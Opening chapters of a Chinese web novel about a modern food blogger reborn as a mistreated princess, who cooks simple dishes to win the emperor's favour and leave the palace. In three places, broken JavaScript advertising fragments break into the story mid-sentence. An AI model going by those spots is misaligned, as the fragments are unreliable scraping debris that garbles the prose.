《公主她偏要开酒楼(美食)》 1. 香炒馒头丁 浮生一场梦。 盛时云睁开眼睛的时候,还没从自己出车祸的痛感中清醒。她愣怔地望着眼前明显与现代不同的屋顶,随着陌生记忆的涌入,才逐渐反应过来。 自己居然穿越了。 她“腾”得一下坐起来,环顾四周,身边静悄悄的,一个人都没有。盛时云打量着屋子里的陈设,一派古香古色,只是规格不高,就连桌上放着的杯具都缺了个角。 再低头瞧自己身上的素简衣衫,白皙纤细的手腕上,还留有被绳子捆绑过的血痕。盛时云不禁怀疑起记忆中的原主身份。如果没出问题的话,她应当是一国公主,就算从小不受待见,也不该有这样凄惨的处境。 身体的知觉也随着她记忆回笼,变得腰酸背痛。盛时云注意到自己皮肤上浮现的青紫痕迹,总算从迷糊的思绪中猛省过来—— 原主与她同名同姓,是大周朝最不受宠的二公主,不知因为什么机缘,让濒临死亡的盛时云穿越到她的身上。 她身上的伤痕,正是几天前,原主在周朝皇帝靖崇帝面前哭闹时,被侍卫捆起拖走,又被其他几位看热闹的姐妹,痛打落水狗一般撵进房间里造成的。 至于哭闹的原因,还要提及京城中首屈一指的清流豪族,谢家。 近些年,周朝一直和北部胡族有所摩擦,靖崇帝为了一斗到底,急需笼络朝臣。谢家在京中影响甚大,靖崇帝甩下一道圣旨,将自己的二公主、也就是原主,下嫁给谢家的小儿子。 谢家朱门绣户,名声籍甚,唯有家中幼子谢晖,一颗老鼠屎坏了一锅粥,令谢老爷子头疼不已。京城的名门闺秀皆避之不及,甚至有传言说,以后谁要是嫁到谢晖手里,没两年准会被磋磨死。 靖崇帝把自家公主嫁过去,足见诚意。 这事办得大度,可苦了原主。自从得知消息,就日日水米不进,掩面而泣。等到终于鼓起勇气,跑到靖崇帝面前哭诉,还没半晌就被一道命令扔了出来—— 若是不嫁,就贬为庶人,徙居民间。 原主伤心欲绝,两眼一闭晕了过去,被瞧了好大一场热闹。 盛时云回忆到此,心口已经被气得隐隐作痛,转头看向桌案上摞着的几本《贤妻守则》,目光里含着多多少少的怀疑人生,忍不住打了个寒颤。 一个坚定的想法涌上脑海:这婚绝对不能结! 她硬气地从床上跳下来,只不过脚刚沾地,膝盖一软差点直接跪在地上,肚子也适时地咕噜咕噜叫起来。原主一连几天都没正经吃过东西,还遭了这么大的罪,现在饥饿感快要跳出嗓子眼。 再不吃就饿死了。 盛时云勉强含着一口气,提起裙子跑到院子里。靖崇帝为了不再让她闹事,随便指了一座宫殿,将她一个人锁在其中,只等成婚当天水到渠成。 “这、请问……”盛时云绞尽脑汁也不知如何称呼守着大门的侍卫,她透过门缝,声音不自觉低了几分,有点尴尬,“大哥,我饿了,有吃的吗?” 不多时,一碟馒头咸菜顺着宫殿角落里的小狗门递了进来。 ??? 现在的情况挑无可挑,瞧着地上色香味俱无的瘪馒头,盛时云暗骂了一句狗仗人势,妥协地席地而坐,拿起馒头塞进嘴中,干干巴巴噎得慌,她就着咸菜,眼泪都要出来了。一个馒头下肚,胃里凉得像坠了个硬石头。 好歹打住了心慌。盛时云喘了口气,疲惫地再次拍了拍门:“就没有点稀粥汤水吗?太噎了。” “二殿下老实点吧,您这是受罚呢,一日三餐都是馒头。” 盛时云:“……” 靖崇帝知道自己的女儿被这样对待吗?盛时云弯腰把剩下的所有馒头都抱在怀里,合理怀疑,若不是她恰好穿越过来,原主也许已经被折磨得没命了。 庭院里安静得连一声鸟叫都没有,太阳照下来,晒得人更加头晕眼花。 盛时云不欲再多费口舌,忍气吞声地站起来,循着记忆,抱着馒头往寝殿后面的小厨房绕去。 大周朝皇宫里,每一座宫殿,无论大小都会配备一间小厨房。原主从未进过厨房,记忆里面也不会存在厨房里面的物件,她现在只能祷念里面有些干柴油水,好能将这些馒头加工一下。 迈进门去,看到厨房还算整洁,盛时云才算微微松下一口气。 她上辈子是个名气不小的美食博主,平常最爱倒腾吃食,甚至还凭借几道拿手菜登上电视,在全国掀起了不小的美食浪潮。 盛时云择了一个干净的位置,把几个馒头放在案上,推开窗户,借光打量着整个灶房。 好在柴火很足,油醋酱盐、葱姜蒜等基本配料俱全,甚至水缸旁边还放着八九个鸡蛋。对于现在的她来说,真是个不小的惊喜。这些布置应当是靖崇帝下旨将原主锁进去之后,匆忙裁撤了宫里原本的仆从,厨房也没来得及着人清理。 厨房里是现代不常用的大锅灶,盛时云庆幸自己曾经为了拍视频素材,特意去农村小住了几个月。她搬来一捆荆条,坐在灶前摸了个火折子,等荆条噼啪作响时,又填了五六根大柴。 趁着这个烧火的时间,舀起水缸里的水,麻利地将干葱冲了冲,又拎起菜板,就着水,把灶台和锅碗瓢盆仔仔细细清理了一遍。 清理完,盛时云把干葱“咔咔”切成半个手指长的葱段,又挑了三个勉强能看的皱巴馒头,用刀片开,切成四四方方的馒头丁。切好的小丁,全都放进碗里,打入两个鸡蛋、一勺酱油和少许盐巴,净手后抓匀。 她弯腰看了一眼灶台里的火,先取来油罐,往里面倒入菜油,等油热冒烟,再将碗中腌好的馒头丁下入锅里。两者碰触的一瞬间,锅底的热油迸出焦香,裹着鸡蛋液的馒头煎出一层金黄。 要是有些蔬菜就更好了。盛时云的目光将厨房搜寻了个遍,只在窗台花盆里发现几丛不知长了多久的蒜苔。她凑过去,巧手一掐,把最嫩的部分摘了下来,清水洗过,手起刀落,切好的蒜苔段也被下到锅里。 翠色一进锅,就滚了层润莹的油光。取来锅铲,动作熟稔地随着翻炒,直到干煸的蒜苔发皱变软,甚至冒出透明的细泡,这道菜就算大功告成。 鸡蛋和蒜苗的鲜香,顺着打开的窗户一直飘满整个院子。盛时云拿筷子夹起一块馒头丁尝了尝,裹在外面的鸡蛋绵软焦香,馒头金灿灿的,火候正好,外酥里嫩极有滋味。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 一口一个,越吃越香。 原主饿了几天,方才那一个冷馒头根本不顶事,盛时云趁热端着碟子,就在厨房寻了个地方,现将炒馒头丁囫囵吞了半盘。 吃完热腾的吃食,盛时云这才有了些实感。她撸胳膊挽袖子,将厨房里的东西都收拾了一遍,涮洗的脏水被吃力地泼到离厨房稍远的门外。 “哗啦”一声,地上湿了一片。盛时云揩了揩额角的汗,刚要往回走,一抬头,正好对上门缝中往院内张望的眼睛。 “有什么事?”她吓了一跳。一手拿着盆,往前走近了些,问道。 门口的侍卫不知何时换了一批,门缝宽大,她离远了能看到外面站着人的脸。那个侍卫看着年纪不大,见盛时云走来,嗫嚅着好像有点不好意思: “奴、奴才想问,二殿下方才吃的是什么,实在是好香!” 盛时云愣了愣,答道:“香炒馒头丁。”现在天色正当中午,新轮值来的侍卫应当还没用饭,难怪会被香味吸引了。 然而,往左一瞥,看到狗门旁边剩在地上的咸菜,盛时云不免心头冒火。原主是好欺负的性子,她可不是。现下她有了力气,将水盆往地上一搁,凉飕飕道:“还不是你们送来的残羹冷炙,你们不给,本宫还不能做吗?” “二殿下,奴才都是奉命办事的。”小侍卫一看就没多少经验,嘴不严,直接招了,“这些吃食都是皇后娘娘掌管,奴才无处过问呀。” 皇后? 盛时云头脑里登时浮现起原主曾经的记忆。 可以说,在这宫中原主过得如此凄惨,有一半都是那位皇后娘娘授意挑拨的。只因为原主母妃林氏曾受过一段宠爱,难产生下原主后便撒手人寰,靖崇帝宠妃千千万,怎会将林氏放在心上。 靖崇帝不记得,不代表皇后不记得,又或者在原主出生前,两位娘娘曾有什么过节,凡此种种,盛时云不得而知,只知道原主从小就没过过什么好日子,底下人也不怕她,一言一行如履薄冰。 眼下又是如此。 摆在盛时云面前的只有两条路:要么侥幸留在宫里,继续遭受皇后一派的冷眼打压;要么嫁给谢晖,从此老老实实、相夫教子。 哪一条都不是她想要的。 “二殿下,奴才就想打听打听菜方子,回到家里自己也试试。”小侍卫还在碎碎念,全然不知盛时云脑海里已经想出了一个好主意。 “小哥,你帮本宫一个忙,本宫拿好吃的和你换,如何?”盛时云将挽起的袖子落下来,放了盆,离门靠近了些,换了笑眯眯的表情,“本宫写个纸条,你可否想个办法呈给父皇?” “二殿下,奴才可担不起您一声小哥。奴才名叫贞乐,二殿下还是以名称呼奴才吧。”贞乐这下惶恐地后退几步,犹犹豫豫,觉得这个买卖实在不值当。 “那这样,贞乐,你若爱吃本宫烧的菜,那便帮本宫这个忙;若是不爱吃的话,便就罢了。”盛时云瞧着贞乐的表情,顿时明白了他心中所想。自己的砝码似乎没什么吸引力,但既然是个爱美食的人,那就好说了。 “你且稍候,本宫去去就来。” 她转身回屋,势在必得。 2. 虎皮鸡蛋 回了厨房,灶还热着,往里面放些荆条,原本快要熄灭的火势又旺了起来。盛时云趁着烧水的时间,把水缸旁边剩下的七个鸡蛋都洗干净,冷水下锅。 方才收拾的时候,盛时云已经把厨房内的调料全部打开看了一遍,现下她心中有数,不慌不忙地切了姜片,又将酱油、食盐和白糖按比例调好,放到碗中备用。 就着煮鸡蛋的功夫,她又去将寝室里面找了根毛笔,歪歪扭扭地写下几个字,折好纸片放入怀中。等完成这些事,鸡蛋已经煮得差不多了。 捞了鸡蛋,放在凉水中过一遍,嫩白滑软的蛋清完美脱壳。 接着,盛时云将锅中水倒出,大火猛烧,蒸干铁锅里的水分。起锅烧油,她经验十足地观察着锅内热油的气泡,适时地抽出两根木柴,让灶台的火小些。 虎皮鸡蛋最重要的就是外面一层虎皮,有无滋味、口感如何,全都依赖于此。而虎皮有无嚼劲,还要看油温火候是否得当,现在放入鸡蛋正是时候。 不出片刻,白嫩的鸡蛋已经裹上一层金灿灿的酥皮,轻微皱起,发出诱人的香气。 盛时云将炸好的鸡蛋一一夹出,放到提前备好的冷水碗中,油花浮起,连带着那层酥皮也鼓起膨胀,变得塌软,弹性十足。 鸡蛋和料汁,一同下入另一口锅中,倒水,大火焖煮。还没等她掀开锅盖,鸡蛋的香味已经飘散在院子里的每一个角落,门口站着的侍卫不约而同咽了咽口水。明明原料食材如此普通,但经过盛时云的手,光是闻起来就已经令人口齿生津了。 盛出鸡蛋的时候,汤汁已经浸满了外皮。再点缀上葱花,就连盛时云自己,也忍不住赞叹了一句真是色香味俱全。 屋子里没有食盒,她只能将虎皮鸡蛋放在小碗里端出去。 “贞乐!我来了!”盛时云一嗓子喊出去,贞乐早在门外馋得饥肠辘辘,听到声音急不可耐地回头,踮起脚尖看过去。 只见白瓷碗中盛着几个圆滚的鸡蛋,色泽爆满油亮,几粒葱绿激得人食指大动,走近了更是香味扑鼻。 “这是刚做好的虎皮鸡蛋,若是不急着吃,可以就着汤汁浸泡一夜。”盛时云从怀里拿出写好的纸条,连同白瓷碗一起顺着墙角小门递出去,“这回可以帮本宫的忙了吧?” “自然自然!谢谢二殿下!”贞乐到底是个粗汉子,手在衣襟上随意擦了两下,等不及地直接捏起一颗鸡蛋,一口就咬下一半。 顿时,灌在外皮之中的汤汁流出,唇齿生香,虎皮劲道弹牙,蛋清嫩滑,蛋黄则鲜香醇厚,半个鸡蛋胜吃十口肉,香得贞乐恨不得原地蹦两下。但是他手里的虎皮鸡蛋满满一碗,生怕洒了,遏制住手舞足蹈的想法,眼睛里尽是喜色:“太好吃了!” 其余在不远处站岗的侍从,早就被香味勾得腹中饥饿,见贞乐吃得满嘴流油,不禁问道:“贞乐,你吃的是什么,分我两口。” “不给!这可是我在二殿下这里凭本事赚的。本来就不多,你一口我一口,不就全都没了吗!”贞乐笑嘻嘻地捂着怀里的瓷碗不给人看,怕人抢似的,又把剩下的鸡蛋匆忙塞到嘴里。 吃了一颗蛋,他还记得盛时云托他帮的忙,低头留意了一眼纸条上写的内容,字很好认,贞乐霎时瞪大了眼: “二殿下,您果真决定要出宫?” 盛时云浅笑点头,素简的衣衫也遮掩不了她的粉面朱唇:“我觉得出宫也不错,做个吃食生意,靠自己的一双手生活,要比在这里畅快多了。” 金尊玉贵的公主难道不比平头百姓更好吗。 贞乐挠着头不理解,但是他自从吃了这碗虎皮鸡蛋,就佩服起盛时云的手艺,听了这话,更打心眼里佩服她的勇气。 这样想着,贞乐身上也有了大力气,中气十足地给盛时云鼓劲:“也是。祝二殿下水到渠成、一帆风顺、生意兴隆!您托的事,奴才一定办到。” “那就谢谢你啦。”盛时云指了指贞乐捧着的瓷碗,嘱咐了一句,“现在天不热,室温放一夜是可以的,想吃的时候拿锅热一下,比现在更好吃。” 等送走了贞乐,回到寝殿。盛时云转着足尖扑到床上,直愣愣地看着床顶,多少心里也有些迷茫,靖崇帝真的会放自己出去吗? 小侍卫果真靠谱。第二日,盛时云刚吃完早饭,就被靖崇帝叫到大殿里,什么也不说,先苦哈哈地跪了半个时辰。 她一个现代人,什么时候跪过这么长时间。膝盖红肿发痛,如同酷刑,根本不用装,盛时云的眼泪就穿了串地掉下来。一个弱不胜衣的小公主泪如泉涌,哭得那叫一个肝肠寸断,任凭是谁都心软了。 更何况盛时云的面容,酷似死去的林氏。靖崇帝看着她,回忆起年轻时候的往事来,开口都比之前多耐了几分性子。 “你一个女儿家,去民间做生意。且不说做的吃食如何,能不能活过一个月都是问题。不知民间疾苦!” 靖崇帝语气严厉,盛时云只能壮着胆子说好话:“儿臣最会做菜了,若是能出宫与民同安,也不遑做父皇的女儿。” “况且谢家乌衣门第,女儿自小性子不驯顺,更不洞达父皇为了江山社稷的良苦用心,很怕功亏一篑。”盛时云磕头在地,小心翼翼地示弱,一口气说了不少话,倒是有一两句说到靖崇帝心中。 他这个二女儿,从小无人看管教导,说话软声软气,既没有皇家气魄,更不能成算在心,确实不能当做笼络谢家的好棋。几日前,因为成婚一事,在大殿门口久跪不起,让文武百官都看了笑话,实在惹人心烦。 倒是今日,不知如何想通的,一言一行竟然条理清晰、头头是道。 “你方才说最会做菜,朕这么多年怎么一点消息也未曾听说过。”靖崇帝依旧虎着脸,但语调慈祥不少,看起来还算对盛时云的说辞满意。 先前的原主能吃饱就千恩万谢了,还指望着做菜?盛时云腹诽,但自然不能说出个中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 缘由。她悄悄抬起眼,可怜巴巴地瞅着靖崇帝,颇有委屈父皇不关心自己的意思。 等瞧得靖崇帝也略有心虚时,盛时云这才开口:“儿臣会不会做菜,父皇一尝便知。但……儿臣想求个恩典。” “若是父皇满意,可否在民间赐儿臣一间草庐,供儿臣落脚?” “不成问题。”靖崇帝敏锐地察觉到自己的女儿与往日不同,但他事务缠身,懒得探究原因,更乐见其成。 原本以为盛时云要不识趣地狮子大开口,一听只不过是间草庐,他心里头嗤笑几声小丫头目光短浅,又不由得心情极好,故而大手一挥,“你尽管去做,朕若满意,不止是草庐,真金白银也赏得起。” 盛时云心头一喜,面上端的是恬静安然,唯有一双眼睛亮晶晶的,像含了几颗星星:“谢父皇!” 让女儿退下后,靖崇帝喝了一口茶,咂咂嘴,心想自己原来怎么没发现这孩子的讨喜,林妃的姣美容颜浮现眼前,竟然凭空生出了不多的感慨。 从大殿出来,盛时云就知道事情已经成了七八分,现在最重要的就是要做些什么讨靖崇帝的欢心。 普天之下莫非王土,靖崇帝最不缺的就是五湖四海进献的美食,更看重的是化普通为神奇,吃了回味无穷才是。 来回一趟,盛时云算是被解了监禁,为靖崇帝做菜的消息也不胫而走。她原本想要去御膳房讨一些食材调料,没到门口,就被一个面熟的小太监打发了回去。 盛时云对那个小太监有些印象,是皇后身边的人。 不知皇后为何偏偏看她不顺眼,盛时云心里很不爽。她拗不过,转身离开,苦思冥想间走到了自己的宫殿门口,发现被派来监管她侍卫还没有撤去。 盛时云仔细看了看,突然“欸”了一声,小跑几步上前,生怕人走了:“你们昨日是不是和贞乐一起值班来着?” 见侍卫们面面相觑,盛时云道:“现下可否请你们再帮本宫一个忙?昨日贞乐没分给你们的吃食,今日本宫重新做给你们品尝,如何?” 踏破铁鞋无觅处,得来全不费工夫。 她的要求对于几个身手不错的汉子来说,不算太高——去御膳房领五个生鸡腿、一碗鲜牛乳还有调料若干。说是领,其实偷也差不多。日头还没掉下天空,侍卫们就已经将食材送了过来,一同拿来的还有一筐鸡蛋。 盛时云请他们稍等片刻,回屋三下五除二,只听厨房里油锅嗞啦,香气袭人。一向娴静柔丽的二公主搬着一盆冒尖的虎皮鸡蛋款步而出,大盆落到地上,盛时云拿勺舀起鸡蛋,给几个侍卫你一碗我一碗分了个干净。 侍卫们早就被香得迷迷糊糊,满口的谢谢二殿下,一个个喜气洋洋地捧着碗走了。还有两个没分到碗的,直接拿衣服把鸡蛋一兜,毫不在意地跟在他们后面。 盛时云望着他们的背影,从容自如地扑了扑手,转身回到厨房,裙角扬起一个盈盈的弧度:“轻松!” 3. 炸鸡腿 做虎皮鸡蛋之前,盛时云已经收拾好了侍卫们拿来的材料。 这些物什里面,只有胡椒最为昂贵。其余都是富贵人家的常见之物。 所谓美食,并非用华美珍奇堆砌而成,而是讲究调和得当。将普通的食材烹饪到美味的极致,才更考验厨子的功底。 盛时云深知这一点,一边在洗净的鸡腿上用小竹签戳洞,一边着手调制腌料。这道炸鸡腿最灵魂的部分就是制作脆皮糊糊,先将酱油、白酒、花椒、胡椒搅至一处,再以牛乳代水冲拌均匀。 戳好洞的鸡腿放在腌料里充分浸泡。趁着这个档子,盛时云瞧了一眼水缸,里面就剩薄薄一个底,看来是要挑些水回来了。 她拎着水桶,口中还美滋滋地唱着小曲,绕到厨房后的水井旁边后,眼看着舀水的辘轳在井里晃,却无论如何也摇不上水。一直试了许多次,等满了水缸,盛时云已经累得满头大汗,坐在灶台边苦闷望天。 要是有个压水井就好了。 先前在农村,最不济的也是一口压水井,不用费功夫,只需压一压铁杆,就能引上来清凉甘甜的地下水。 今昔不同往日。盛时云认命地大声唉了一口气,仿佛在给自己鼓劲。她重新站起来,洗了手,仔细翻看着碗里的鸡腿。折腾一天,现在暮色隐隐降临。刚好能在晚膳之前把鸡腿做好。 面粉撒进碗里,往里混入胡椒粉和淀粉,作为炸鸡粉备用。刚拿到淀粉的时候,盛时云还很惊讶,上手沾了一点,捻了捻,通过触感才知道原来古代人已经会用淀粉了。 她一丝不苟地把鸡腿裹上第一层炸粉,又通过腌料沾湿,重新放在粉中,裹上第二层炸粉。裹完之后,用手轻轻搓揉起鳞。 起锅烧油,油热后用筷子放到锅中观测油温,继而放入鸡腿,油花爆溅,几分钟后鸡腿表面就变成浅淡的金黄色,鸡肉的香气在调料的激发下飘然而出。此刻捞出,往灶台里添柴,加大油温,再炸一遍。 出锅啦! 盛时云难掩激动心情,给五个鸡腿整齐码在食盒里,一路穿宫走巷,七拐八拐,总算在炸鸡腿凉下来、失去口感之前,将食盒递到了总管大太监的手中。 总管大太监姓陈,单名一个裕,贞乐的纸条就是交到了他手中。盛时云被叫到大殿之后,他也在殿门口听了几耳朵,依稀觉得这次靖崇帝的语气与往日不同。 皇帝的吃食一向需要银针测毒,就算是盛时云端来的也不可豁免。陈裕还揣着小公主胡闹的心思,挑了银针捏在指尖,探手打开了食盒。 一瞬间,鸡腿的绵密浓香扑鼻而起,饶是陈裕守在宫宴旁边,只能看不能吃,练就一身本领,此刻也禁不住口齿生津,由衷赞叹了一句:“二殿下好手艺,把奴才都香得直打晃。” 盛时云笑眯眯地道了谢,看着银针扎过五只鸡腿,又伸进一旁敞着口的小碟里。小碟子里装的是盛时云试熬成的梅子酱,陈裕好奇地瞧了瞧,将银针放在鼻翼下嗅了嗅,清香酸甜,将炸鸡的油腻中和了不少。 “这是何物?” “梅子酱。”盛时云将食盒扣好提上,跟着陈裕进了大殿,“方才回宫时,我路过一颗梅子树,摘了些青梅下来,觉得不错,就试着熬了些。” 进去之后,靖崇帝面前已经摆着了许多菜样,荤素都有。盛时云脆生生地请安行礼,亲手将自己的炸鸡腿端上,又取出盛着梅子酱的小碟,放在鸡腿边上。 “这是儿臣亲手炸制的鸡腿,配有梅子酱一碟,可以去腻开胃。”盛时云恭敬地跪在地上,眼巴巴地瞧靖崇帝的脸色,“请父皇尝尝。” 靖崇帝本想端起威严,最后再尝盛时云的菜,不叫她轻易遂了心愿。但鸡腿的肉香,混杂着梅子酱酸酸甜甜的味道,在一桌菜肴中突出得非同寻常,直令人移不开眼。 夹起只偏小的鸡腿,一口下去,齿颊生香,外皮咸鲜焦酥,鸡肉香嫩,余味无穷。靖崇帝眼睛亮了,退开些许,仔细打量着面前的美味:“一只鸡腿能做成如此,真是怪事。” 言罢,他绷着表情,试着将鸡肉在梅子酱里沾了沾,裹上一层光亮饱满的色泽。再放入口中,又别是一番滋味。 只消几口,一只鸡腿便进了肚子。靖崇帝拿过陈裕递来的帕子,揩了揩嘴角的酱汁,一扫方才的严苛,看着老老实实跪着的盛时云,满意道:“没想到朕的女儿还有这个手艺,难怪心有远志,不肯嫁给谢晖那小子。” 盛时云见靖崇帝大嚼特嚼的模样,就知道自己厨艺这关已经过了,可又听到提及与谢家的婚事,她心头一紧,谨慎地俯身:“儿臣不敢当‘心有远志’四字,只是喜欢美食,更愿将美食推广民间,让百姓都能品尝得到。” “百姓和乐,父皇也能安心,女儿就是为父皇解忧了。”她乖巧地抿唇微笑,眉眼弯得格外好看。 靖崇帝审视着一副小女儿娇态的盛时云,扬起眉毛:“哦,那你是怎么让朕安心的?”他话里有话,就算盛时云再怎么嘴甜,也显然没有忘记她先前的拒婚忤逆。帝王心意,大抵如此。 “父皇爱吃甜,却总被御医告知要适量食用。可女儿今日熬的梅子酱,味道酸甜,最重要的是,吃了对身体有益,就算一天吃上十勺,也不会换来御医的一句多嘴。” 盛时云有意地避开锋芒,只当自己是个担忧父亲身体健康的乖女儿,装傻偏头,“父皇安心吗?” 大殿里凝滞了片刻,盛时云心脏砰砰直跳。终于,只见靖崇帝收回目光,朗声一笑:“赏!” 成了。 盛时云松下一口气来,暗地里给自己鼓了鼓劲,被陈裕引着出了大殿。 送走了盛时云。陈裕握着拂尘在大殿门口逛了一圈,看见门口站岗的小太监贼眉鼠眼地瞄着自己,不满地上下打量了一眼:“什么事?” “陈公公,敢问方才二殿下拿的是什么神仙吃的,咱当差这么多年也没闻着过一次。” 陈裕是总管大太监,天天跟在靖崇帝后面进出大殿。这帮小太监,有机灵点的早在他面前混了个脸熟,陈裕看着这帮脸上没毛的小子,心情好时也乐意跟他们插科打诨几句。 “陛下吃的稀世之珍,跟你有什么关系。老实站岗。”他用拂尘敲敲小太监的帽子,没给个好眼色。他现在肚子也正饿着,想到刚才被那五个大鸡腿香得打了个趔趄的事,咕哝了声,“神仙吃的,谁说不是呢。” 他猫着腰,跨了门槛进殿。一抬头,正巧看着靖崇帝面前已经放了三根鸡骨头,主食和蔬菜半点没碰。想起御医的少食之嘱,他慌慌张张地往地上一跪,劝道:“陛下欸,皇后娘娘叫奴才请您多吃些青菜,这样饮食均衡,才能……” 一记眼刀,让陈裕闭了嘴。 他眼睁睁看着靖崇帝心满意足地吃下最后一只鸡腿,苦哈哈地递了山楂丸过去,两边都没落得好。 靖崇帝一顿吃五个鸡腿的事,怎么瞒也没瞒住,先传到了皇后耳朵里。 来叫陈裕的是皇后身边的宫女花袖,他俩是熟人,一路走一路聊。靖崇帝近来脾胃不和,皇后最操心的就是他的饮食,一天恨不得问上八次。 陈裕正寻思着,就听花袖说:“公公一会儿到娘娘宫里,可要谨言慎行些,娘娘正为了二殿下的事生着气呢。” 他一时没反应过来,反问回去:“二殿下?她又犯了什么事?” 花袖歪着嘴睨他一眼:“公公别说不知道。陛下赏她真金白银、又在民间置办土地的事,已经传开了。咱们大公主还没开府呢,怎么就让她捷足先登了。” 陈裕同意地“啧”了一声,想到盛时云拎来的炸鸡腿,说了句好话:“那屋子就是个草庐,能值多少钱?算不上开府。” 花袖没接他的话茬,哼哼冷笑:“等着瞧吧。” 实际上,靖崇帝应下盛时云的赏赐确实不多。百两白银和一所勉强能够遮风避雨的房子,对于天下在握的人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来说,实在是九牛一毛。 但这些东西,则是盛时云开拓生路的基础,也是原主直到盛时云穿越过来的那一天,都不敢奢求的。 提心吊胆忙了这些天,盛时云总算睡了个好觉。 今日天色晚了,靖崇帝许诺明天送白银到她现在住的小殿里,再遣人去民间挑个地方,把草庐买下。三日后,就可以放她出宫。 盛时云梦到自己脱离苦海,身边萦绕着古今中外各样的美食,面前还耸立着一座大酒楼,匾额上闪亮亮地写着“时云酒楼”四个大字,楼里攘来熙往,人声嘈杂…… 她正心满意足地沉酣美梦,忽然眉头一皱,不适地动了动。 怎么这么吵啊。 倏地一个激灵,盛时云两眼睁开,头脑还昏聩着,目光先往门口转去。昨夜她睡觉之前将门插上了,现在外面的人进不来,正在拍着门叫嚷。 原来不是酒楼里笙歌鼎沸,是有人找茬来了。 她素面朝天,随便挑了件衣服换上,顺着头发,赶紧过去开了门。 “无量天尊,您可终于开门了,瞧瞧日头都晒到哪去了。”拍门的是花袖,说的话也阴阳怪气。后面站着的,赫然是久闻盛名的皇后吴氏。 皇后一身深青色牡丹衣袍,嘴唇紧绷成一条线,端的是不怒自威,眼角处团着细纹,严刻地端量着盛时云。 盛时云不想在距出宫临门一脚时,惹出什么事来,耐下性子,行礼问好道:“皇后娘娘早。” “你还知道早,头不梳脸不洗,还当自己是皇家公主吗?”皇后冷淡地扫她一眼,走进屋里,开门见山,“听说你蒙哄得皇上赏了不少东西,还闹着要开府别居?” 外面蒙蒙亮,现下应该超不过早上六点。皇后这个时间过来,没准一晚上也没睡多长时间的觉。 盛时云额角隐隐发炸,知道皇后是来找她的不痛快,懒得较真,顺从地跪了下来:“儿臣不敢,陛下怎会被一个小女子蒙骗。” “不敢?”皇后在椅子上一坐,冷笑,“堂堂公主,出宫住个茅草房子,你是等着陛下让天下人笑话。二姑娘,本宫一开始还真以为你有心当个好孩子。” 按以往皇后对原主的态度,应该巴不得她滚出宫去,过得一塌糊涂才好。可现在听起来,却似乎不想让她出宫,甚至还有要给她换个好府邸的深意。盛时云心里纳闷,只得回道:“请娘娘明示。” “要本宫说,你今天就去回了陛下,撤了你公主的名分。”皇后称心地揉着涂了蔻丹的指尖,“要不还是趁早嫁了谢晖,少给你父皇添烦心事。” 盛时云眨眨眼睛。她一开始就没想保留自己的公主名号。 一来,宫里事情太危险,她无权无势更无偏爱,迟早死在皇后手里,能逃离还是趁早逃了;二来,公主二字和皇家有关联,她尚且不知靖崇帝在民间评价的好坏。若是百姓们买账还好说,但要是心存畏惧、避之不及,她岂不是亏大发了。 “儿臣……等父皇下朝就去。” “不急。还有一事。”皇后稍稍满意了,终于露出一丝笑模样,“昨日听说陛下一个晚膳吃了五个鸡腿。你作为公主,难道不知道陛下近来脾胃不适、不能暴饮暴食吗?” 靖崇帝脾胃不和的事,还是前两天跟前亲近的御医提出来的,因为只是小毛病,只有身边人才知道。她一个不得宠的女儿,上哪知道这些事去?! 盛时云垂着头跪在地上,气得火苗都要从脑袋上冒出来,心里翻了个白眼,僵木地答道:“儿臣不知。” “行了。不知者无罪,但是你作为大周的公主应当严格要求。”皇后目的达成,起身欲走,轻飘飘地看了她一眼,“去长街那跪着吧,算上前两天退婚忤逆那事,两个时辰之后再起来。” 盛时云猛地抬头,茫然盯着近处的椅子腿,忍住想骂人的冲动。 原主过的都是什么鬼日子。 她的膝盖要跪烂了! 4. 狼牙土豆 盛时云撑着地面,迟疑地站起来,原本泛着淤青的膝盖一阵刺痛。 花袖被留下盯着她,恭恭敬敬把皇后送出门去。屋内,盛时云依稀听到两人说的话。 “大公主现在应当起了,来之前奴婢已经遣人唤过了。” “侯府的那位今日进宫,公主心里高兴。今天起床倒不费力。” 花袖的声音带着些惯纵,皇后也愉悦地轻笑一声,嘱咐道:“她高兴就好。你看好了这丫头,今日别让她再耍那些小机灵。” 盛时云抓紧时间梳洗,不在乎什么侯爷伯爵,也没听说过劳什子的人物。原主深居简出,外加他人有意阻截消息,对宫里的大事知之甚少。相比起大公主急于嫁给有情人,她更急于找到自己生存的一方天地。 盛时云知道自己躲不过去今日这顿罚,正所谓人生起落,这几天和开了挂一样,事事顺遂,想必早就被有心人看在眼里,记在心头。 比较原主先前的经历,长街罚跪只是鸡毛蒜皮。皇后迫不及待见盛时云被赶出宫去。她生怕有变数,不敢再火上浇油,这才收住手腕,挑了个无伤大雅的惩罚。 毕竟在皇家贵胄的眼中,没有比当一个穷苦百姓,更可悲凄惨的。 而她偏要街巷阡陌之中活得有滋有味。 晨起的太阳不算毒,但春天风和日丽,头顶着热光,还是叫盛时云眼前发晕。她额角渗出细汗,脸色苍白。自从穿到这里,动不动就下跪的习惯让她苦不堪言,膝盖上像覆着针尖,痛得麻木。 花袖站在树荫底下,环起胳膊,轻蔑地看着她。 这条道路在盛时云住所旁边,地处偏远,但是向前走直通大殿,向后走就是一个小门。为了近便,很多轿辇家仆都等候在此。所以,这条路上来往的不止是宫人。 一些散朝后的王公大臣,也会选择走这个方向回家。 皇后的深意就在这里。 果不其然,来往的高官贵人,穿着周正端方,纷纷侧目,摇头皱眉。这些都是诗礼人家,看见皇室公主这幅模样,心里不禁嘀咕琢磨,更有甚者,猜到她就是宫里无足轻重的二公主,露出嗤之以鼻的态度。 盛时云一向达观,不会为了不值得的人费心力。她无视周边投来的眼神,老老实实跪着,注意力逐渐转移到了自己在民间该做的生意上。 中学时历史老师讲过,古代任何一个王朝,不管多么繁荣,底层百姓的生活也是分外拮据的。因此若想做吃食上的生意,不仅要味美、更要价廉。 有了那百两白银,开酒楼是迟早的事情。上辈子,她的梦想就是拥有一家自己的饭店,容纳天南地北的美食。结果大业未成,先穿到了大周。 既来之则安之,她初来乍到,可以先从食肆做起。食肆都有了,酒楼还会远吗? 盘算着自己以后需要置办的东西,盛时云唇角逐渐勾起了一个微妙的弧度,她轻轻闭上眼睛,觉得阳光都没那么晒了。 